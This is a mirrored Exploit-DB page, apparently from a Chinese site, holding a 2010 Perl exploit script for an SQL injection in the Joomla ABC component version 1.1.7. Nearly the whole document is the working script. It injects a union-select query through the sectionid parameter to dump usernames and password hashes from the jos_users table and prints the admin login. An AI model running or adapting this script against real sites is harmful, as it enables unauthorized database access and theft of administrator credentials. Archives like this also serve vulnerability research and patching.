Joomla! Component ABC 1.1.7 – SQL Injection - 体验盒子

作者： AntiSecurity

日期： 2010-04-27

类别：

webapps

平台：

php

来源：https://www.exploit-db.com/exploits/12429/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

#!/usr/bin/perl

#***********************************************************************#

# #

# [o] ABC Joomla Extension SQL Injection Exploit#

#Software : com_abc version 1.1.7 #

#Vendor : http://www.airiny.com/#

#Author : AntiSecurity [ NoGe Vrs-hCk OoN_BoY Paman zxvf s4va ] #

#Contact: public[at]antisecurity[dot]org#

#Home : http://antisecurity.org/#

# #

# [o] Usage #

#root@evilc0de:~# perl abc.pl www.target.com#

# #

# [o] Greetz#

#Angela Zhang stardustmemory aJe martfella pizzyroot Genex#

#H312Y yooogy mousekill }^-^{ noname matthews wishnusakti #

#skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke kaka11 #

# #

# [o] April 27 2010 - GMT +07:00 Jakarta, Indonesia #

# #

#***********************************************************************#

use HTTP::Request;

use LWP::UserAgent;

my $target = $ARGV[0];

my $file_vuln = '/index.php?option=com_abc&view=abc&letter=AS&sectionid=';

my $sql_query = '-null+union+select+1,group_concat(0x3a,username,0x3a,password,0x3a)+from+jos_users--';

print "\n[x]===============================================[x]\n";

print "[x]ABC Joomla Extension SQL Injection Exploit [x]\n";

print "[x][C]oded By AntiSecurity[x]\n";

print "[x]===============================================[x]\n\n";

my $exploit = "http://".$target.$file_vuln.$sql_query;

my $request = HTTP::Request->new(GET=>$exploit);

my $useragent = LWP::UserAgent->new();

$useragent->timeout(10);

my $response= $useragent->request($request);

if ($response->is_success) {

my $res = $response->content;

if ($res =~ m/:(.*):(.*):/g) {

my ($username,$password) = ($1,$2);

print "[+] $username:$password \n\n";

}

else { print "[-] Error, Fail to get admin login.\n\n"; }

}

else { print "[-] Error, ".$response->status_line."\n\n"; }